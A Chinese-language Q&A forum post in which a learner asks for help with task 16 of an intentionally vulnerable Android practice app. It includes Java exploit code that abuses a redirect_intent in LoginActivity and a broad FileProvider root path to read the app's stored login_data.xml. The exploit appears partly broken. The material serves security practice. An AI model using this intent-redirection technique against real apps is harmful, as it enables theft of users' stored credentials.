【发布时间】:2020-11-01 00:59:37
【问题描述】:
有一个易受攻击的应用程序来练习 Android 安全性。 Link Here 我被困在它的第 16 个任务中。
16.在根条目中为 oversecured.ovaa.fileprovider 内容提供程序使用非常广泛的文件共享声明。
我努力解决它但仍然无法解决。这是我的代码
MainActivity.Java
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent extra = new Intent(Intent.ACTION_VIEW);
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION );
extra.setClassName(getPackageName(), "com.exploit.app.LeakActivity");
extra.setType("text/xml");
extra.setData(Uri.parse("content://oversecured.ovaa.fileprovider/root/data/data/oversecured.ovaa/shared_prefs/login_data.xml"));
Intent intent = new Intent();
intent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity");
intent.putExtra("redirect_intent", extra);
startActivity(intent);
}
}
LeakActivity.java
public class LeakActivity extends MainActivity {
InputStream i = getContentResolver().openInputStream(getIntent().getData());
public LeakActivity() throws FileNotFoundException {
}
}
AndroidManifest.xml
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".LeakActivity" />
谢谢
【问题讨论】:
标签: android android-studio debugging android-fragments android-security